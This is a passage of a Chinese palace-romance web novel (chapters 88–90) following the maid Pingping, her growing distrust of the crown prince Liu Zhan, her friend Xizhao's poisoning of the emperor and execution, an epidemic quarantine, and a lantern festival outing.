寻常人家，要是被正妻或者主君主母发现偏宠婢妾，多半会将那婢发卖出去，或者打杀。 柳湛心里浮起浓浓担心，既又一痛，还夹杂一丝不敢深究的懊悔。 他面对柳沛和诸内侍，漠然冷声：“伤心又如何？她当初用龌龊手段攀上孤，便该算到今日。” 话音落地，虽然以为萍萍不在场，柳湛仍起内疚，心中默默对自己道：从云宫后，自己待萍萍的情谊比从前更为深厚，天地可鉴，相信她也理解明白。 萍萍在柳树后从头到尾听清，明知柳沛有意为之，明知他改口称她银娘子，定已算计许久，理智告诉她不能，也不该中他人奸计，却还是忍不住伤情伤心。 她看着树下的石头，同自己一样不能言语。 明明知道那树上垂下的是轻柔的柳叶，仅止柳叶，拂过心口，却还是成了飞刀。 第88章 第八十八章 只能是她，别人不行 萍萍听见柳湛和柳沛走远， 听见内侍们抱着退回画像回福宁宫，她以为就剩下自己，没想到不久后柳沛竟然折返， 绕来树后， 开口就笑：“你可真能忍！” 萍萍面上已经理好情绪， 站直抬首，直视柳沛：“让七殿下 失望了，不管听见什么， 看见什么， 我依然相信太子殿下。” 柳沛脸上笑凝住，复现一抹茫然色。萍萍径直从他身边经过， 冷瞥一眼：“殿下下回不用再煞费苦心让我看这些了。” 等等！ 柳沛急转身，心中呐喊，话却卡在喉咙里发不出声。 他瞅着萍萍背影，既怀疑她是装的，其实心里已经黯然神伤，恨上了柳湛，又羡慕惘然， 几时能有一位女子， 如她笃信太子般信任他？ 眼见萍萍的背影越离越远， 柳沛快跑数步追上， 扣住萍萍手腕：“本王没想伤害你，只是想让你知晓他的真面目。” 萍萍瞅自己手腕，欲抽， 柳沛立即讪讪放开。 须臾，他申辩：“本王之前也当他亲兄弟，却被栽赃——” 义愤填膺， 却又陡然哑口，顾忌犹疑，不知该不该对萍萍详讲腹语之祸。 萍萍木然别首：“奴不知道殿下在说什么，更不想牵涉您和太子殿下的恩怨。” 萍萍远去，回到院中。 是夜。 暮色幽深，背面的碧纱窗上朦胧映着梅枝斜影，柳湛破窗而入，迎向萍萍。 萍萍垂眼，这是柳湛第2回 深夜来她这里。 说明最近他都不会在寝殿和她缠绵了。 只在这里。 为什么呢？ 因为他要娶太子妃了。 萍萍不由自主勾了下嘴角，柳湛却未瞧出冷意，两月未见，她又巧笑倩兮，他禁不住情动，揽上她腰肢时，他的手背已渐泛红。 他坐在凳上，箍紧站着的萍萍，仰头细细密密啄她的脖颈，呼吸粗重，越来越急，到最后打横抱起，床幔散垂。 萍萍静静目睹柳湛的热切，有时候魂都飘去床边围观。 她发现这是自己最无动于衷的一次，替他解药那天好像都没今晚漫长。 数回后，柳湛拍拍萍萍，示意她骑上。 萍萍平躺半晌不起身，柳湛轻道：“你还没有到过。” 他喜欢见她欢愉，今晚轻抚和亲吻皆已用过，却仍不见，知她最喜欢的这招，便允一回。 萍萍婉拒：“我有点累了。” 柳湛原先也是平躺，闻言侧身面向萍萍：“怎么了？” 他一手撑起脑袋俯视她，另一只手指尖去勾她的头发，笑道：“你白天冲进书房，不是思念得情难自禁么？这会是怎么了……”柳湛说着唇往前凑，吻她青丝。 萍萍没有接话，柳湛缓慢后撤，唇与她的青丝分开，微微敛笑：“其实你闯进去，是有别的事要说吧？” 萍萍垂下眼皮，柳湛只能瞧见她两条眼缝和睫毛。 “我本来想问撤销司教司的事，但蒋——”萍萍顿了下，“蒋殿帅在外面给我解释了，我就没再问你。” “你和他说司教司，他也和你说，”柳湛笑出一声，“但他再传话给孤时，只字不提？” 然后她也要逼问到现在，才提？ 柳湛张目看着萍萍。 萍萍解释：“是我不让他跟你说的！” “你维护他？”柳湛一掌撑在床。上，五指蜷曲。 萍萍瞧着柳湛这个样子，心里竟声两分不耐。她也坐起，深吸口气，从自己听闻司教司撤销，冲动破门，一直说到不想影响拖累柳湛，拜托蒋望回撒谎。 柳湛发现讲到司教司没了时，萍萍胸脯起伏，犹有愤慨，便垂眼道：“就是一张琴，你以后跟着孤学，不一样么？” 何必如此激动？ 萍萍朝柳湛倾身，压低下巴蹙眉：“我真的很喜欢司教司！” 她喜欢去那学新知识、新本事，结交新的师友。 萍萍欲言又止，他不懂，失去司教司，她会失去许多继续陪他待在这宫里的勇气。 柳湛亦有几分伤神，瞟向帐幔，那纱垂在暗处都看不清颜色。 他黯然道：“你明知道司教司是太后设立的。” 所以官家要取缔，从云宫里他已经和她解释过，字字句句无巨细，她怎么还纠结苛责？ 柳湛不由对萍萍生出一丝不满。他无头无尾地想，做太子妃，路漫漫其修远兮。 一瞬间，柳湛也没了再继续的兴致。 “睡吧。”他躺下拉上被子，“孤今晚就睡在这，赈灾还许多事没料理完，接下来还要忙郊祭到十月，之后……来看你要少了。” 他的话萍萍从来不疑的，这回却想，是真有祭祀还是忙于立太子妃？ “好。”她应了声。 柳湛阖眼，萍萍也闭上眼，渐渐地帐内只剩下两人均匀的呼吸声。 萍萍是想睡的，但就是无法入眠，不知过了多久，她感觉快天亮了，睁开眼天还是黑的，柳湛在她身边熟睡，他的睫毛比她长上许多。 萍萍重闭起眼，逐渐睡去，再醒来时天大亮，柳湛早不在了。 * 姚书云前脚收到阿兄线报，说太子已经着手挑选画像，其中有幅是她，让她多上点心，后脚就得太子宣召。 她心惊肉跳，立马使出从前的绝招——拖延。 结果才十几步就被传召内侍一再催促，让她走快些，不要拖拖拉拉。 姚书云沿路睹着翠柏，暗思对策，瞥着假山，也在想如何同太子斡旋，再到偏厅门前，低头瞅花砖，狠下决心。 厅门对开，姚书云跨入抬头，瞬间愣住——里面和自己预想的不一样，只有一张案，一把椅子，柳湛伏案批阅，头也不抬。 纵使如此，姚书云还是怕他弹琴品诗，咬牙发问：“殿下为何要找我？” 柳湛：“后门出去。” 两人同时出声，柳湛抬头瞟她一眼，低下头接着批阅。 姚书云鼓起勇气，闭眼说出来：“一切都是我阿兄一厢情愿，其实我对殿下没有心思！”说太快了，她缓一缓：“求殿下千万不要选中我！” 片刻，柳湛批完一本，暂时搁笔，不苟言笑再次看向姚书云：“所以孤才找你。” 他政务繁多，没时间同她浪费，拿起新一本未批的奏章，垂首下令：“后门出去。” 姚书云糊里糊涂找后门，半晌门找不到：“殿下后门在哪？” 柳湛执笔给她一指，谁能想到啊，那落地花窗不是窗，而是一道窄门！姚书云比进宫时丰腴不少，侧着身子才能出去。门外僻静，早候着一位内侍，领她穿抄手游廊进一间正房。 “姚司膳，殿下吩咐，你要在这房里待足半个时辰。”内侍交待完就走了，姚书云望着满满一桌美味佳肴，又懵了。 良久，恍然大悟，猛地拍了下巴掌。 正厅内，柳湛注视着奏章上的文字，心里却不断回想早上安排布置时想明白的事——原来不用萍萍强调，他也没法再和别的小娘子私下独处。 恍惚间他没由来设想，要是有别的女子，也如萍萍那般对他好，爱之重之，他会容下别人吗？ 柳湛发现也不行。 柳湛对着奏章上不相干的文字，竟唤出一声“萍萍”。 …… 宫里的银杏从绿到黄，再落满地，夏走秋至，全宫上下皆知太子要立太子妃，但挑来选去，好像就姚家那位有点苗头，却也只得了太子一回召见，再无下文。 姚家权门，与诸世家皆有联姻，同气连枝，各家不好多议。 当宫里的银杏树全都掉光时，迈进腊月。初八这日，后厨派发腊八粥。据说今年用的是大相国寺的配方，七宝五味和糯米一起熬煮，沾些佛光。 萍萍领了三碗回来 ，只寻见姚书云，便问：“你晓得夕照哪里去了吗？” “没瞧见，她一天天神龙见首不见尾。”姚书云力随身长，如今已经能一次从房中搬出两把藤椅，天气冷不能直接坐台阶上喝，就躺椅上，再一人一张狐裘毯，中间支张桌点小炉，“我们先喝吧，反正这有炉子，粥给她先温着。” 萍萍点头，喝粥时眉头仍未舒展：“不知道夕照最近都在做什么？” 一不当值就不见人影。 “咳、咳、咳！” 突然听见一连串咳嗽，剧烈得像要把肺咳出来，萍萍和姚书云皆以为是夕照，循声望去，却是同院另一宫人。 二人放下碗上前关切，萍萍道：“姐姐最近几晚我都听见你咳嗽，看过医工没有？可不能拖久了。” 那宫人边咳边笑：“我今日特意请假去看了，给开了方子，回屋喝了睡一觉就好。” 说着便朝自己屋走，萍萍见她脚下虚浮，伸手搀了一把，惊呼：“姐姐你身子好烫！” “是害了热病，我还冷得厉害，所以想回去睡觉。” 萍萍和姚书云都说那是要好好休息，姚书云那还有一瓶退热药，也给予宫人。 待忙完一切，二女继续躺椅上，裹着白狐裘喝粥，姚书云都快喝完了，才道：“这粥有点太甜了。” 萍萍点头：“是，喝多了觉着腻。” 姚书云放碗起身：“你等着，我找点咸口的点心，缓解缓解。” 萍萍忙道：“肚子饱了吃不下点心了，你找找有没有山楂？解腻消食！” 姚书云应好进屋，忽然一队仪仗穿入院中，前后宫人拥簇着一架步舆。 萍萍愣住，舆上坐的是夕照？ 是她。 只不过突然改穿青衣大袖，还贴了珍珠花钿面靥，舆后还打着两扇彩屏。 萍萍唰地站起来：“夕照你怎么了？” “大胆奴婢，见到娘娘不下拜，还敢直呼娘娘芳名？” “娘娘？”姚书云端着一碗山楂出来。 宫人们旋即换了笑脸：“姚司膳，这是陛下刚封的夕娘娘，夕美人。” 萍萍忽觉血液倒流，瞪圆了杏眼，心里有个声音呐喊：夕照还没满十四岁啊！她还没满十四！ 官家已经给夕照赐了宫殿，这趟回来是专程收拾体己物——夕照只带走了和金娘子相关的物拾，剩下的她估计姚书云看不上，就一股脑全送给萍萍。 萍萍瞟一眼院中，关上门，两两私下，扣紧夕照手腕：“夕照，陛下那——” 差点脱口而出“陛下那个老色鬼”，忍住，改口：“陛下那若再欺负你，要是不愿意，就尽量想办法周旋，别让他欺负狠了。” “陛下没有欺负我，”夕照平静告知，“我愿意的。” 萍萍像在看一个陌生人。 夕照脸上泛起笑意：“我仰慕陛下，他在我眼里是真龙天子，九五之尊，我崇拜他耸壑凌霄，愿意做他的解语花。” 这话十分耳熟，萍萍全身定住，僵如石塑。 第89章 第八十九章 他绝对不是她的阿湛。…… * 二十四这日汴京人称“交年”， 宫里结彩装雪灯，酒糟抹灶门，还给萍萍她们每人派发一盏床底灯， 晚上要点一通宵， 名曰“照虚耗”。 司寝局一年到头， 也要赶在这日前点清寝具，能修补的就手补了，需要更换的则拟单列表， 报送司计司。 萍萍虽然最近不用铺设， 但也做不到闲人，总有事派给她。今日是和另一宫人运送寝具去浣洗那边， 来来回回抱了一天。 局里皆晓得萍萍和夕照交好，这宫人忍不住拱火：“你说你啊，得殿下青睐那么久，大伙都以为你会迁莺出谷，谁知道如今还没混上位份！倒是那位，赶在你前头步月登云了！” 最近宫人间议论夕照颇多，大半个月还没消停。 萍萍每回听见都替夕照担心， 眉间笼罩愁云。 “听说啊， ”宫人凑近萍萍耳边， “她三番五次邂逅陛下， 说些傻话，句句没见识，最后陛下终于忍不住指点了一句， 她那反应啊，既惊讶又崇拜，夸张得很， 一看就是演的，陛下却被逗得哈哈大笑。” “如此数回，陛下没遇上时，竟主动问起她。” “再后来，终于封了。” 宫人还想唾弃夕照心机，终未出口，再加上萍萍一直不附和，渐渐无趣，改聊其它。 远处，禁宫最高的宣德门五凤绕檐，琉璃瓦几与天齐。柳湛代替腿脚不便的官家登楼，行完交年礼，正同身边的参知政事讲话，忽就眺见灰蒙蒙极低的天空下，两个墨点从东宫出来，缓慢东行。虽然都是一模一样的宫婢袍服，他却笃定左边那个是萍萍，心慢跳一拍。 柳湛口上仍答参知政事，手却不自觉抓紧朱栏，想到萍萍还没登过宣德门…… 再等等，下回他俩一定一起登上来，让她瞧瞧整个禁宫和半座东京城。 柳湛的余光悄然追随萍萍身影，她正沿一道长墙行进，墙上爬藤光秃萧条，但再等等，待春日会开满蔷薇，似锦如霞，香拂满宫。 墙下，萍萍连咽数口。 宫人睹见，关切：“你怎么了？” “嗓子有点疼。” “喝水少了吧？” 萍萍点头，自觉也是这个原因：“早上忙得一口水没喝，待会多喝点。” 她怎么想就怎么做，当值回来猛灌了两、三壶水，嗓子却无任何好转，反而更痛。她记得姚书云那有不少药膳零嘴，像上回的山楂，便去找姚书云讨要，说自己咽痛。 “你也嗓子疼啊。”姚书云脱口而出。 萍萍一愣：“你也疼吗？” 姚书云点头，转身在瓶瓶罐罐里找甘桔冰梅片。 萍萍瞅着姚书云的背影分析：“是不是我们这几天辣子吃多的缘故？” 夕照留下五大罐，她怕放久坏了，天天猛吃。 姚书云找药的手一滞，恐怕没这么简单。 她俩同院的那个宫人，十来天前出宫了。 当天姚书云和萍萍有聊此事，姚书云才发现，不知哪个天真的告诉萍萍，说年纪大了或遇大赦，这两种会放出宫。 萍萍竟不知道医工只治小病，宫人如患重病都会被撵出宫，到城郊的尼寺等死。 姚书云怀疑同院宫人去的就是尼寺。 当时没料到病症可能波及自己，姚书云冷漠处理，没有打听。 姚书云转回身，将一瓷盒塞进萍萍手里：“喏，给你，甘桔冰梅片，清咽利喉的！” 萍萍立马掀开盖子含了一片，姚书云瞅着她眨了眨眼：“你试试吃了有没有效果。” 萍萍顿觉喉咙凉爽，点头：“有效果！” 但回去没一会，咽喉重新疼起来。 萍萍没那么娇气，依旧撑着忙年，到二十七日晚，不过三日，突然变得如刀割喉，连吞口水都困难。 是夜，她打起寒颤，所有被子盖到身上还冷，清晨变成高热，头晕肢痛，爬都爬不起来。 萍萍手脚并用，支撑着坐起，穿衣，再难受也要先告了假再休息，可走到院门口，发现常年敞开的院门被人关闭，墙边突然多出一袋米，一块腊排骨和一条腊鱼。 萍萍疑惑，抬手推门发现推不动，她以为是自己病了没力气，使出吃奶的劲反复推，院门却顶多晃一下，打不开。 萍萍折返去敲姚书云房门，姚书云竟也没当值，萍萍一见她脸色就懂了：“你也害热病了么？我们院门好像被人反锁了。” 姚书云眯眼：“我们患的恐怕不是热病，而是热疫。” 尼寺那边估摸出事了，所以这边紧急隔绝。 萍萍睁大眼，疾走去拍院门，他们没给她和姚书云留药啊！ “开门啊，开门！”萍萍用鸭嗓喊，“我们要治病啊！” 姚书云望着萍萍，暗叹口气，以前家里某位姨娘院里也闹过疫，那时赶上中秋，层层封锁消息，节后才禀告爹爹。 新年比中秋更喜庆，禁宫比姚家更森严。 姚书云一步步挪到萍萍身后，哑着嗓子：“别喊了，我俩要自生自灭了。” 她跟萍萍说， 先撑到初三送年，再看能不能峰回路转、柳暗花明。 二人病患照顾病患，互相扶持了一日，到二十八，有人带着一大堆药材翻进院来。 是个男人，但戴着幂篱，看不见面目，踹开房门直奔床边，拉过姚书云的胳膊给她诊脉。 萍萍在不远处的贵妃椅上躺着，头回听见姚书云哽咽：“你来做什么？傻吧，幂篱阻挡不了，会传染的。” “你才傻，我口鼻捂了帕子。”那男人应该幂篱里真遮了巾帕，说话含糊不清。 “你几时学会翻墙？”姚书云又问，“你是不是带梯子来的？” “我会纵云梯！”男人没好气道。 “我信你？”姚书云又哭又笑，“你以前还说我要是胖点就不容易生病……” “你省点力气吧，病成这样不要讲话！”男人说着站起，煎药、下厨。 萍萍跟着沾光，不仅得了医治，还喝到配干茄瓠的白粥，吃到盐蒸橙子。 男子去刷碗不在屋内，萍萍趁机问姚书云：“他是不是韩太医？” 姚书云热症未退，满脸通红。 萍萍挤出一笑：“他是你喜欢的人吧？” 所以姚书云才有那么多药膳，所以她们总在路上偶遇他。 姚书云咬唇。当年萍萍中毒时，她和萍萍其实没那么熟，也并非热心快肠才求阿兄。彼时她才进宫，满脑子想的都是如何联络上情郎。 姚书云的声音低到快不可闻：“对不起。” 当时利用萍萍。 “不要说对不起啊……如果没有你和韩太医，我这回就挺不过去了。”萍萍笑，嘴干得蜕了皮，“感谢你们……还来不及。” 挑破以后，萍萍搬回自己房中。 再和姚书云同住，不合适了。 除夕这日，彤云密布，萍萍昏睡一场，再醒来躺床。上望去，天地皆一片白，把那黑天照成幽蓝。飘絮乱舞，呼呼风啸，仿佛随时吹破窗纸。 “银娘子。”韩太医外头叩门，风雪声盖过，萍萍好一回才听见，连忙应声。 韩太医道：“下雪了夜晚冷，书云让我提些炭给你。”他一外男不方便进来，“放门外了。” “谢谢太医。”萍萍下地，脚像踩棉花，扶墙去开门时已不见人影。这么大雪早该封门，韩太医却将姚书云门前扫得干干净净，萍萍沾光，门口也辟出一条路，那八块黑炭就垒在路中央。 萍萍身上没劲，分三趟才将墨炭全抱回屋。关上门风雪立止，明明变温暖了，她的眼泪却情不自禁流下来。 自认为不是个伤春悲秋的人，却在这一刻异常羡慕，甚至嫉妒姚书云。 书云有人照料，有人呵护，这个世上不被爱的是不是只有她萍萍一个？ 阿湛啊，可不可以也给予她一点爱意？ 砰—— 背靠门板的萍萍抹一把眼泪，循声转头。 砰——砰——砰—— 火树银花，不夜白昼，她晓得这个叫九州升平烟火，她能想象此刻的太子在歌舞升平，喜气洋洋的除夕宴上向下举杯，意气风发，万人呼应。 萍萍的眼泪不争气地往下淌。 为什么啊？是她不值得被爱吗？ 还是他不爱她，爱的只是她的付出而已。 可爱不是乞讨。 她不由自主忆起观音庙那一日，原来还是她一个人。 西北的风雪下到今日也没停。 萍萍添了一会炭就喘得不行，心悸严重，不得不上。床躺着，她想观音庙那晚靠凝视观音挺过来，今夜又靠谁熬？ 迷糊中，萍萍整个上半夜都在喊娘。 到了下半夜，夕照忽然进到她梦里。 捧着她的脸喊银照，甚至唤了声萍萍。 “银照你快醒醒吧！”夕照急得甚至拍了下萍萍脸颊，“我给你的辣子还没吃完呢！你不活了，我的辣子怎么办？” 夕照蹲着，已经满头大汗却仍添炭：“不管是病了还是过新年，屋里都应该烧得暖和点。” 夕照说说笑笑，添着添着，突然栽倒。 梦中的萍萍急得飘起来，就说炭烧过足容易晕，她飘向夕照身边扶人，夕照却突然变得血肉模糊，但两眼依然干净清澈，格外温柔，笑着问她：“银照，是不是我家娘子来接我了？” 萍萍骤然惊醒，大口喘气，胸脯起伏。 兴许真是人越贱越好养活，萍萍到初二就好了，病去抽丝，能行能跑，就是嗓子和气力还要养一段时间。 姚书云到初四才好转，韩太医早在这之前隐去。 雪下到正月初一就停了，今日下起小雨，落地上和渐化的雪水汇聚成溪。 萍萍一大早就拍门，口口声声保证她和姚书云都痊愈了，不会再传染，才听见开锁声。 院门打开，出现的是打着伞的东宫女医工，萍萍和姚书云皆熟，那医工也想做人留一线，避着萍萍的对视道：“这几日太乱了，你们关着反倒是好事……” 说了一大堆虚的，总而言之为她俩好。 “什么乱？”萍萍追问。 医工朝院内瞅一眼，右手掩口：“就你们院出去的那位……陛下圣眷浓厚，除夕家宴允她敬酒，她这狼心狗肺的，竟然敬了一杯毒酒。眼下陛下半边身子不能动了，讲话艰难，怕是难得回转——” “那夕照呢？”萍萍颤声打断医工。 “她逆党啊！太子殿下监国以后，亲审三日，审出她是为之前那个金充容报仇。” 萍萍呼吸不畅：“然后呢？” “哪有什么然后啊，弑君那还能活？殿下判了腰斩，今日行刑——唉你去哪呀？” 萍萍从女医工身边跑过，女医工随之转身，见她话不回，伞也不打，不由嘀咕：“病才刚好。” 算了，人各有命，管不了那么多。 宫道上的雪已俱扫净，萍萍却仍觉滑，雨中跌了一跤，起身继续跑，逢人便问太子在哪？ 打听到他如今监国，不在东宫，正在文德殿与朝臣议事。萍萍不敢再硬闯，在殿外搓手等了半晌，眼见官员们走光，才央内侍通传。 柳湛很快宣见，萍萍进去时里面只柳湛一个，不知道是不是提前屏退旁人。 文德殿比东宫寝殿更空旷幽深，上首的他坐得更高更远。萍萍怔怔睇了一霎，柳湛也在俯瞰她——幞头歪斜，发丝散乱，浑身湿漉漉还有泥。 正是紧要时刻，几日没过问她，怎么就变得这样狼狈？ 萍萍猝不及防跪下，冲柳湛磕头：“殿下，求求您饶夕照一条命吧！”她的颤声在殿内回响，“求求您了，殿下！” 柳湛看她一个劲地磕头，眼睛刺痛，心也抽得厉害，深吸了几口气令自己的语气尽量平静：“已经判了。” 萍萍顿住，抬起头来：“不是还没行刑吗？” 可以改的！ 她仰望柳湛的两眼剪水，溢满希冀。 柳湛俯身对视，始终阖唇。 半晌，萍萍明白了，手扶膝盖站起往外走，救不了那她要去看行刑。 柳湛的视线越过萍萍眺向紧闭的铜门：“孤不会让他们开门的。” 萍萍止步，愤然转身：“为什么？” 柳湛缄默，人五脏六腑皆在上半身，拦腰一刀不会即刻死去，斩完了依旧神志清醒，许多刑犯会不由自主半身爬行。 他不想她从此梦魇，所以不会让她亲眼见到。 良久沉默，萍萍突然再开口：“是你。” 两个字，像清脆掉到地上 的两根针。 “是你跟她讲了那番话，为了你的皇位，怂恿她去报仇！” 什么官家喜欢新人仰慕，什么解语花，九五之尊，耸壑凌霄，夕照说了从云宫中他说过的话。 他才是刽子手！ 柳湛直脖挺背，接住萍萍目光，平静接话：“她是自愿的。” 萍萍冲上首唾了一口：“无耻！” “废立也你的苦肉计吧？你那么厉害，街角的刺客都能揪出来，却不知道东宫外埋伏了刀斧手？”萍萍一声冷笑。 柳湛突然想捂住她的眼睛，别这样看他。 “你说必须要一个人领下私藏冕服的罪，我和阿罗都站在你身边，你却只和他说，一眼也不看我。” 柳湛垂眼，至少那回他护好了她。 “那口井底下根本没有白骨，是密道吧？”萍萍伸长脖颈，翘起唇角，“殿下根本就没有和我一样始终关在宫里。殿下想用腹语杀人，可以直接和奴婢说啊！” 柳湛倏地挑眼皮再次瞥向萍萍，在腹语之前，看着她的脸唤的那一声萍萍，他是真诚的，没有利用。 “孤没打算用你的腹语，也没有用，是官家自己心虚。”柳湛目光逐一掠过她扬起的眉、挑着的眼和勾起的唇角，忍不住补充：“孤说的都是真的，信孤。” 萍萍心里摇头，他用这张她最喜欢的脸说了太多假话，她不会再信了。 她甚至对柳湛生出浓烈的惧意，如今她的生死完全依仗他，如果哪一日他爱意衰减，权衡之后，会不会像阿罗、夕照那样要她去死？ 萍萍禁不住想得再可怕些，伴君如伴虎，他以后会不会像官家那样，将她随意杖杀？ 萍萍脑袋和身子同时抖了下，柳湛睹见，声也有两分抖：“你在怕孤？” “不是。”她立马否认，不敢让他知道，“我只是想起另外一件事。”她重新敢看他了，“那天春信阁中的药是蒋娘子下的吧？她那时正任司酝，最方便在酒水里动手脚。” “你根本就可以避开，却又一次以身入局！” 跟废后，废太子没什么区别。 “孤那是为了你！”柳湛旋即反驳。他向来秉持行前定则不疚，行动前先想好定好，再做了，就不后悔，此刻却鲜少见的生出悔意。 又懊恼，许多事早知道不和她说了。 萍萍却心里发笑，是为了她吗？ 不，他心里有太多东西比她重要了。 她仰着下巴眺望上首男子，这人，绝对不是她的阿湛。 第90章 第九十章 阿占 “去沐浴换身衣裳吧， 湿的贴在身上久了，易感风寒。”柳湛在上首柔声劝慰。他屏退了众人，殿外无人偷听， 但同时亦难唤人， 柳湛步下金阶， 打算亲自去门前唤宫人，经过萍萍身侧时不禁放慢脚步，同她商量：“待会就住孤那吧。” 从今日起， 她可以住在他的寝殿了。 萍萍蹙眉， 但下一刹立刻舒展，生怕柳湛发现：“奴婢还是喜欢住原来的院子。”她偷偷观察柳湛神色， 虽无异样，但是觉得不放心，找补道：“奴婢住习惯了，许多东西用着顺手。” 柳湛想想也行，毕竟东宫寝殿也住不了多久了。 他微笑颔首，待萍萍沐浴更衣完，就放她回去了。 仍下着雨， 萍萍打伞慢行， 进东宫后明明伞遮住上半张脸， 却仍被几位相熟的宫人认出来：“银照， 你怎么还在这里，你用午膳了吗？” “还没。” “那快去打饭啊！我们都吃完了，今日羊排限量， 再晚一点恐怕没了！” 萍萍迟缓应好，转道去后厨时，果然没有羊排， 只剩煎豆腐和炸玉蕈。萍萍向厨娘打听，得知姚书云没来打过饭，便给书云捎带一份。 厨娘们一听姚司膳要，从柜里取出一个矮罐：“今日的炸玉蕈有些油，要不配点这个辣米菜？” 汴京人把蔊菜叫辣米菜，自带的辛辣能消食解腻。 “来点吧。”萍萍道，厨娘便往姚书云的食盒里加，接着也匀萍萍，萍萍却摆手：“我不用了。” 厨娘又问：“现在没羊排了，但羊舌还有，要不要？” “给姚司膳也来点吧。”萍萍自己还是没要。 回院中两人皆未痊愈，吹不得外面寒风，萍萍将食盒送给姚书云后，就回了自己房里。煎豆腐寡淡，炸玉蕈，所以她拿出夕照的辣子拌饭菜。 姚书云在隔壁屋里独自吃了会，心里不得劲，将饭菜收回食盒，拧着叩萍萍的门。 “进来。” 姚书云推门就见萍萍坐在桌边吃饭，拌的辣子比米饭和菜都多，红彤彤盖住了碗面。萍萍辣得眼泪鼻涕直流。 萍萍望一眼姚书云，吸吸鼻子：“真是什么饭拌上辣子都可以吃一大碗。” 苔花儿的至理名言。 姚书云鼻子也一酸，她晓得夕照的事，猜想萍萍早上去求太子未果。 姚书云心里也堵得慌，甚至有一霎想将韩太医的太医局同僚介绍给萍萍，那位青年才俊，人又实诚，家风好还没有纳妾通房，好想劝萍萍别再喜欢太子了，又怕太子砍她姚书云的脑袋。 算了算了。 姚书云道：“我们才刚停药，最好别沾辛辣，你少吃点吧。” 十日后，太子第2回 宣召姚书云。 姚书云第一反应：完了，脑中想法被太子知道了，要砍头了。 转念又想，不对，那太子又不是蛆虫，哪能钻人脑子里？连她阿兄都不能。 于是她很淡定地拜见太子，心想了不起再多吃一顿。 姚书云这回见到的柳湛，依旧是垂首执笔，正批公文。 姚书云不由恍惚，产生一种从那日到今日，太子一直就坐在桌后批奏章，没做过其它事的错觉。 又想不对，不是同一张桌子。 柳湛手上画圈，口中下令：“你找个理由，明晚请银娘子逛元宵灯会。” 姚书云一愣，须臾想明白，反问：“殿下为何不亲自相邀？” 柳湛顿笔，横姚书云一眼。 他要是能去还用找她？ 柳湛始终记得前年元宵，因他中毒困萍萍在寝殿，他给她讲自己喜爱的元宵灯火，宣德门外上彩灯山，双龙百戏，那时就暗下决定，明年要带她去看。 哪知翌年又拘从云宫。 事不过三，可眼下官家卧床，政务全压到柳湛头上，脱不开身，才出此下策。 久不闻姚书云应声，柳湛提笔补墨，淡淡开口：“韩衔星不逛灯会吗？” 韩衔星是韩太医全名。 姚书云心立马剧烈跳动，脱口而出：“我阿兄知道吗？” “你想他知道吗？” 柳湛反问，语气寻常，头也不抬，看起来姚书云远不及奏章重要。 姚书云仍心悸，控制不住胸脯起伏，她攥了攥已经开始出汗的手，反复揣摩柳湛的话：想他知道？那应该还没知道吧？ 是吧？ 她拿不定主意，头回体验了什么叫君心难测。 姚书云愈发下定决定，绝对不能当太子妃嫔！ “臣女……”姚书云小心翼翼试探，“臣女明日可以和太医一起逛灯会吗？” 柳湛搁笔，抬眼，奏章暂搁一旁，含笑允诺：“让她开心了，就可以。” 姚书云松口气，看来阿兄尚不知情。 但她没有丝毫劫后余生的庆幸，心仍是揪紧的——太子从哪里晓得韩太医？ 是太子手眼通天，还是萍萍向太子透露的？ 姚书云禁不住对萍萍重生防备心。 但翌日十五，她还是谨遵太子嘱咐，热情洋溢邀请萍萍去逛灯会。 “不了吧……”萍萍拒绝，“咱俩都大病初愈，还是好好休息，晚上早点睡吧。” “唉，这你就不懂了，越是生病关久了，越应该出去接地气。”姚书云挽上萍萍胳膊，“去吧，灯会很好看的，也不折腾，人心情好了还消百病呢！” 萍萍仍未应，姚书云急了：“难得元宵允许我们出宫走动，你不去错过了，我会生气的！” 萍萍这才答应道：“好、好，我去。” 她心头默默思忖，出去一趟也好，还没在天黑之后出过宫，可以瞧瞧和白日里的路线有无区别？ 夜里遇到的宫人内侍多不多？ 以后夜里出去是否方便？ 是夜，二女出宫。 还未通过宣德门，萍萍就见门后橙光映天，金碧相射，锦绣交辉。等一出去，两条巨大的彩扎双龙旋即映入眼帘，百丈棘盆，栩栩如生，龙头对着萍萍吐珠，她想真龙莫如是。 龙后又有纸糊的百戏人物，随风飘动，宛若飞仙。 萍萍微微分唇。 姚书云瞧她样子，笑问：“震住了？” 萍萍点头：“我第1回 见到这样的，开眼了。” 完全忘记柳湛曾经给她描述过。 “我说今晚一定要出来瞧吧，不来后悔。”姚书云说着往前走，萍萍见状跟上，但她心里依旧念着夕照，身处热闹惊奇的灯会也欢喜不起来。 不想扫姚书云的兴，萍萍脸上挂一抹笑意。 前面搭了缚山棚，真演百戏。 萍萍边走边问姚书云：“你逛过几回？” “五回。” 虽然寿春也有灯会，但姚书云头回来时亦被那两条龙震慑住，又想自己来了这么多次，该给萍萍讲点什么。 有人走索，姚书云便回身告诉萍萍：“这是上竿踏索第一人，挺有名的，叫……什么我忘了。” 前面有人表演倒立吃冷淘，姚书云道：“这是这人独创，年年都演。”她有点不好意思，脸上微红，“就是他叫什么我也忘了。” 前面正演吞铁剑，姚书云不自觉拔高嗓门：“这个我知道，张九哥！张九哥的吞铁剑！” “你就记得吞剑。”二女身后，一男声幽幽开，回身一看是韩太医。 姚书云瞬露喜色，韩太医亦扬起唇角，但目光却朝右侧人海里眺去，姚书云会意——太子的人在那边。 是保护还是监视？姚书云雀跃的心缓缓落下，韩太医却神色不改，指着左边给萍萍解释姚书云方才忘记的：“那边倒吃冷淘的叫赵野人。” 姚书云一听又忍不住抿唇笑：“韩太医过目不忘，我们比不了。” 韩太医眺她一眼：“那是。” 三人一道逛灯会，自打韩太医加入，就多了个博学向导，沿路杂剧、百禽戏，他都耐心解释，前面有奏琵琶，韩太医刚解释一句，忽然立定，恭敬行礼：“师叔。” 萍萍随韩太医望去，见一位穿夹袄，包头巾的老妪，不由愣了下，老妪瞧见萍萍，也明显愣了下。 韩太医给姚书云和萍萍引荐，又说这位师叔从前学成后，回润州行医。前年医馆一条街走水，自己师门的医馆殃及烧毁，损失惨重，师叔师伯纷纷重归京师，助力重振。 这位师叔自此改在汴京坐诊，已逾一年半，今日灯火出来看热闹。 介绍完，老妪冲萍萍笑道：“老身给这位娘子看过诊。” “是的，我也记得。”萍萍向老妪行礼。 老妪追问：“当时要小娘子服一年药，后来有没有坚持？” 瞧她应该没有，不然肤色会更透亮些，这会有些惨白。 萍萍不好开口。 老妪蹙眉：“怎么没喝呢？” 她是个直脾气，接着数落萍萍，韩太医想拦都插不上话。 